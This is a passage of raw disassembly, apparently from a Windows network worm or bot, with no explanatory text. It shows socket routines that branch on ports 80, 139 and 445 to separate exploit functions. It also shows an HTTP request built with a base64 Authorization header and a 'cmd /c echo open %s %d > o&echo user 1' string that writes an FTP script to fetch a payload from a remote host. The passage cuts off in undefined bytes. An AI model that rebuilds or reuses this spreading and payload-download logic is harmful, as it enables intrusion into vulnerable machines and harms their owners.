esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_40CEA7 lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40CEAB loc_40CEA7: ; CODE XREF: sub_40CE40+54j xor eax, eax jmp short loc_40CEBB ; --------------------------------------------------------------------------- loc_40CEAB: ; CODE XREF: sub_40CE40+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CAFBC loc_40CEBB: ; CODE XREF: sub_40CE40+69j pop edi pop esi leave retn sub_40CE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p ; sub_40CF04+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CAFA0 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CAFF4 cmp eax, 4 jz short loc_40CEE9 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CEE9: ; CODE XREF: sub_40CEBF+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CAFF4 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CEBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p ; ___:0040D452p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_40CF2D xor al, al jmp loc_40CFD9 ; --------------------------------------------------------------------------- loc_40CF2D: ; CODE XREF: sub_40CF04+20j push ebx push 0 push esi call sub_41B590 push 2Fh push offset dword_431D0C push esi call sub_41C310 push 8 lea eax, [esi+31h] push offset dword_431D3C push eax mov [esi+2Fh], di call sub_41C310 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41C310 push 6 add ebx, edi push offset dword_4CDCBC push ebx call sub_41C310 mov ebx, [ebp+arg_0] push 85h push offset dword_431C84 push ebx call sub_40CEBF add esp, 48h test al, al jnz short loc_40CF95 loc_40CF91: ; CODE XREF: sub_40CF04+B5j xor bl, bl jmp short loc_40CFD0 ; --------------------------------------------------------------------------- loc_40CF95: ; CODE XREF: sub_40CF04+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 push [ebp+var_4] push esi push ebx call sub_40CEBF add esp, 1Ch test al, al jz short loc_40CF91 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 add esp, 10h mov bl, 1 loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj push esi call sub_41B0B1 pop ecx mov al, bl loc_40CFD9: ; CODE XREF: sub_40CF04+24j pop edi pop esi pop ebx leave retn sub_40CF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFDE proc near ; CODE XREF: ___:0040D438p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_431D48 push [ebp+arg_0] call near ptr 71AB1AF4h nop cmp eax, 48h jnz short loc_40D019 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CE40 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D019 cmp [ebp+var_20], 82h jz short loc_40D01D loc_40D019: ; CODE XREF: sub_40CFDE+1Bj ; sub_40CFDE+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D01D: ; CODE XREF: sub_40CFDE+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF04 add esp, 0Ch leave retn sub_40CFDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427690 call sub_41C798 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427688 fstp [esp+10h+var_10] call sub_41C679 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41C798 inc eax leave retn sub_40D030 endp ; =============== S U B R O U T I N E ======================================= sub_40D07C proc near ; CODE XREF: sub_40D21E+24p var_40 = qword ptr -40h mov eax, offset loc_426DF7 call sub_41CC64 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D6B3 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D030 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D0BE push edi push eax lea ecx, [ebp-38h] call sub_40D62E loc_40D0BE: ; CODE XREF: sub_40D07C+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D1DB mov ebx, [ebp+10h] loc_40D0CD: ; CODE XREF: sub_40D07C+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D0D7 push 3 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0D7: ; CODE XREF: sub_40D07C+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D0E1 push 2 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D0EA push 1 loc_40D0E9: ; CODE XREF: sub_40D07C+59j ; sub_40D07C+63j pop ebx loc_40D0EA: ; CODE XREF: sub_40D07C+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_4276A0 fstp [esp+40h+var_40] call sub_41C7BF pop ecx pop ecx call sub_41C798 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D129 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D129: ; CODE XREF: sub_40D07C+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D197 add [ebp-18h], eax loc_40D17B: ; CODE XREF: sub_40D07C+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_431D94[eax] push eax push 1 call sub_40D4B0 inc esi cmp esi, [ebp-1Ch] jb short loc_40D17B loc_40D197: ; CODE XREF: sub_40D07C+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D1B5 push dword ptr [ebp+14h] call sub_41AFE0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D509 mov [ebp-18h], edi loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D1CF sub esi, [ebp-1Ch] loc_40D1C0: ; CODE XREF: sub_40D07C+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D4B0 dec esi jnz short loc_40D1C0 loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj cmp [ebp+10h], edi ja loc_40D0CD push 1 pop ebx loc_40D1DB: ; CODE XREF: sub_40D07C+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D6B3 push dword_427698 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D560 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D6B3 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D07C endp ; =============== S U B R O U T I N E ======================================= sub_40D21E proc near ; CODE XREF: ___:0040D41Bp mov eax, offset loc_426E14 call sub_41CC64 sub esp, 10h push ebx push esi push edi push offset dword_43D158 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D07C mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41B4D5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D268 xor bl, bl jmp short loc_40D2AC ; --------------------------------------------------------------------------- loc_40D268: ; CODE XREF: sub_40D21E+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A8 cmp ecx, ebx jnz short loc_40D276 mov ecx, eax loc_40D276: ; CODE XREF: sub_40D21E+54j cmp [ebp+18h], ebx jz short loc_40D27E mov eax, [ebp+18h] loc_40D27E: ; CODE XREF: sub_40D21E+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41B980 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CAFF4 cmp eax, esi jz short loc_40D2A3 xor bl, bl jmp short loc_40D2A5 ; --------------------------------------------------------------------------- loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj mov bl, 1 loc_40D2A5: ; CODE XREF: sub_40D21E+83j push edi call sub_41B0B1 pop ecx loc_40D2AC: ; CODE XREF: sub_40D21E+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D6B3 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D6B3 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D21E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_431F40 push eax call sub_41C310 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CACE0 push eax push dword ptr [ebp+8] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41B980 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_431DD8 push eax call sub_40CADA xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D377 xor eax, eax jmp loc_40D4A3 ; --------------------------------------------------------------------------- loc_40D377: ; CODE XREF: ___:0040D36Ej mov [ebp-0Ch], esi loc_40D37A: ; CODE XREF: ___:0040D47Aj test esi, esi jnz loc_40D480 push 6 push 1 push 2 nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D468 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CAFA4 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CAFE4 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CAF4C cmp eax, 0FFFFFFFFh jz loc_40D45D cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D425 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D6B3 lea eax, [ebp+0Ch] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D6EF push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D21E add esp, 1Ch jmp short loc_40D45A ; --------------------------------------------------------------------------- loc_40D425: ; CODE XREF: ___:0040D3E3j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D43F push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CFDE jmp short loc_40D457 ; --------------------------------------------------------------------------- loc_40D43F: ; CODE XREF: ___:0040D42Fj cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D45D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CF04 loc_40D457: ; CODE XREF: ___:0040D43Dj add esp, 0Ch loc_40D45A: ; CODE XREF: ___:0040D423j movzx esi, al loc_40D45D: ; CODE XREF: ___:0040D3D6j ; ___:0040D449j push ebx call dword_4CB03C test esi, esi jnz short loc_40D473 loc_40D468: ; CODE XREF: ___:0040D393j push 3E8h call near ptr 2670ECEh nop loc_40D473: ; CODE XREF: ___:0040D466j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D37A loc_40D480: ; CODE XREF: ___:0040D37Cj lea ecx, [ebp-8] call sub_40C8FF test esi, esi jz short loc_40D4A1 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431440[eax] lea eax, dword_431440[eax] loc_40D4A1: ; CODE XREF: ___:0040D48Aj mov eax, esi loc_40D4A3: ; CODE XREF: ___:0040D372j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DD8 loc_40D4A8: ; CODE XREF: sub_426DD8+3j ; ___:00426DF1j ... push 1 call sub_40D6B3 retn ; END OF FUNCTION CHUNK FOR sub_426DD8 ; =============== S U B R O U T I N E ======================================= sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p ; sub_40D07C+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D4CA call sub_42669A loc_40D4CA: ; CODE XREF: sub_40D4B0+13j test ebx, ebx jbe short loc_40D501 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D501 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41B590 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D501: ; CODE XREF: sub_40D4B0+1Cj ; sub_40D4B0+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D4B0 endp ; =============== S U B R O U T I N E ======================================= sub_40D509 proc near ; CODE XREF: sub_40D07C+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D523 call sub_42669A loc_40D523: ; CODE XREF: sub_40D509+13j test ebx, ebx jbe short loc_40D558 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D558 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D558: ; CODE XREF: sub_40D509+1Cj ; sub_40D509+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp ; sub_4265B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D578 call sub_426573 loc_40D578: ; CODE XREF: sub_40D560+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D58A mov esi, [ebp+arg_8] loc_40D58A: ; CODE XREF: sub_40D560+25j cmp edi, ebx jnz short loc_40D5AC push dword_427698 add esi, ecx mov ecx, edi push esi call sub_40D724 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D724 jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5AC: ; CODE XREF: sub_40D560+2Cj test esi, esi jbe short loc_40D5EF cmp esi, eax jnz short loc_40D5EF mov eax, [ebx+4] test eax, eax jnz short loc_40D5C0 mov eax, offset dword_4276A8 loc_40D5C0: ; CODE XREF: sub_40D560+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D5EF push 1 mov ecx, edi call sub_40D6B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D5DB mov eax, offset dword_4276A8 loc_40D5DB: ; CODE XREF: sub_40D560+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5EF: ; CODE XREF: sub_40D560+4Ej ; sub_40D560+52j ... push 1 push esi mov ecx, edi call sub_40D62E test al, al jz short loc_40D625 mov eax, [ebx+4] test eax, eax jnz short loc_40D609 mov eax, offset dword_4276A8 loc_40D609: ; CODE XREF: sub_40D560+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41C310 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D625: ; CODE XREF: sub_40D560+4Aj ; sub_40D560+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D560 endp ; =============== S U B R O U T I N E ======================================= sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp ; sub_40D4B0+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D640 call sub_42669A loc_40D640: ; CODE XREF: sub_40D62E+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D669 mov al, [ecx-1] cmp al, dl jz short loc_40D669 cmp al, 0FFh jz short loc_40D669 cmp edi, edx jnz short loc_40D6A4 dec al push edx mov [ecx-1], al loc_40D65E: ; CODE XREF: sub_40D62E+47j mov ecx, esi call sub_40D6B3 loc_40D665: ; CODE XREF: sub_40D62E+4Bj ; sub_40D62E+52j xor al, al jmp short loc_40D6AE ; --------------------------------------------------------------------------- loc_40D669: ; CODE XREF: sub_40D62E+19j ; sub_40D62E+20j ... cmp edi, edx jnz short loc_40D682 cmp [esp+8+arg_4], dl jz short loc_40D677 push 1 jmp short loc_40D65E ; --------------------------------------------------------------------------- loc_40D677: ; CODE XREF: sub_40D62E+43j cmp ecx, edx jz short loc_40D665 mov [esi+8], edx mov [ecx], dl jmp short loc_40D665 ; --------------------------------------------------------------------------- loc_40D682: ; CODE XREF: sub_40D62E+3Dj cmp [esp+8+arg_4], dl jz short loc_40D69F mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D694 cmp eax, edi jnb short loc_40D6AC loc_40D694: ; CODE XREF: sub_40D62E+60j push 1 mov ecx, esi call sub_40D6B3 jmp short loc_40D6A4 ; --------------------------------------------------------------------------- loc_40D69F: ; CODE XREF: sub_40D62E+58j cmp [esi+0Ch], edi jnb short loc_40D6AC loc_40D6A4: ; CODE XREF: sub_40D62E+28j ; sub_40D62E+6Fj push edi mov ecx, esi call sub_40D78B loc_40D6AC: ; CODE XREF: sub_40D62E+64j ; sub_40D62E+74j mov al, 1 loc_40D6AE: ; CODE XREF: sub_40D62E+39j pop edi pop esi retn 8 sub_40D62E endp ; =============== S U B R O U T I N E ======================================= sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp ; sub_40D07C+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D6DF mov eax, [esi+4] test eax, eax jz short loc_40D6DF lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D6D8 cmp al, 0FFh jz short loc_40D6D8 dec al mov [ecx], al jmp short loc_40D6DF ; --------------------------------------------------------------------------- loc_40D6D8: ; CODE XREF: sub_40D6B3+19j ; sub_40D6B3+1Dj push ecx call sub_41CC83 pop ecx loc_40D6DF: ; CODE XREF: sub_40D6B3+8j ; sub_40D6B3+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D6B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D6EF proc near ; CODE XREF: ___:0040D40Fp ; sub_40D848+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D62E test al, al jz short loc_40D71D push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D71D: ; CODE XREF: sub_40D6EF+12j mov eax, esi pop edi pop esi retn 8 sub_40D6EF endp ; =============== S U B R O U T I N E ======================================= sub_40D724 proc near ; CODE XREF: sub_40D560+39p ; sub_40D560+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D737 call sub_426573 loc_40D737: ; CODE XREF: sub_40D724+Cj mov ecx, edi call sub_40D848 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D74D mov ebx, eax loc_40D74D: ; CODE XREF: sub_40D724+25j test ebx, ebx jbe short loc_40D783 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41CC90 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D62E test al, al jz short loc_40D783 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D783: ; CODE XREF: sub_40D724+2Bj ; sub_40D724+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D724 endp ; =============== S U B R O U T I N E ======================================= sub_40D78B proc near ; CODE XREF: sub_40D62E+79p mov eax, offset loc_426E20 call sub_41CC64 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D7B1 mov edi, [ebp+8] loc_40D7B1: ; CODE XREF: sub_40D78B+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D7BE xor eax, eax loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj push eax call sub_41CFC5 pop ecx mov [ebp+8], eax jmp short loc_40D7EF ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D7D9 xor eax, eax loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj push eax call sub_41CFC5 mov [ebp+8], eax pop ecx mov eax, offset loc_40D7E9 retn ; --------------------------------------------------------------------------- loc_40D7E9: ; DATA XREF: sub_40D78B+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D80D cmp eax, edi jbe short loc_40D7FC mov eax, edi loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41C310 add esp, 0Ch loc_40D80D: ; CODE XREF: sub_40D78B+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D6B3 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D82D mov edi, ebx loc_40D82D: ; CODE XREF: sub_40D78B+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D78B endp ; =============== S U B R O U T I N E ======================================= sub_40D848 proc near ; CODE XREF: sub_40D724+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D875 mov al, [esi-1] test al, al jz short loc_40D875 cmp al, 0FFh jz short loc_40D875 push 1 call sub_40D6B3 push esi call sub_41AFE0 pop ecx push eax push esi mov ecx, edi call sub_40D6EF loc_40D875: ; CODE XREF: sub_40D848+9j ; sub_40D848+10j ... pop edi pop esi retn sub_40D848 endp ; =============== S U B R O U T I N E ======================================= sub_40D878 proc near ; DATA XREF: ___:00429008o test byte_4DB5C4, 1 jnz short loc_40D888 or byte_4DB5C4, 1 loc_40D888: ; CODE XREF: sub_40D878+7j jmp $+5 push offset nullsub_1 call sub_41D040 pop ecx retn sub_40D878 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D89A proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40D89A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D89F proc near mov eax, dword_4321F8 add eax, 6 mov dword_4CDCC4, eax retn sub_40D89F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p ; ___:0040DE0Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D8C1 or [ebp+arg_7], 1 jmp short loc_40D8C5 ; --------------------------------------------------------------------------- loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj and [ebp+arg_7], 0FEh loc_40D8C5: ; CODE XREF: sub_40D8AD+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D8E9 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D8FB ; --------------------------------------------------------------------------- loc_40D8E9: ; CODE XREF: sub_40D8AD+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41B4D5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D994 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 26F0000h test eax, eax jz short loc_40D98B mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D98B push [ebp+arg_20] call sub_41B0B1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D987 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D8AD add esp, 2Ch jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D987: ; CODE XREF: sub_40D8AD+B3j mov al, 1 jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj ; sub_40D8AD+A4j push [ebp+arg_20] call sub_41B0B1 pop ecx loc_40D994: ; CODE XREF: sub_40D8AD+61j xor al, al loc_40D996: ; CODE XREF: sub_40D8AD+D8j ; sub_40D8AD+DCj pop edi pop esi pop ebx leave retn sub_40D8AD endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 0B8h ; ¸ db 0DCh ; Ü db 60h ; ` db 0 db 0 db 0E8h ; è db 78h ; x db 0E1h ; á db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 0F0h ; ð db 0D4h ; Ô db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0A8h ; ¨ db 0F7h ; ÷ db 0 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; Û db 85h ; … db 0C0h ; À db 59h ; Y db 74h ; t db 4Eh 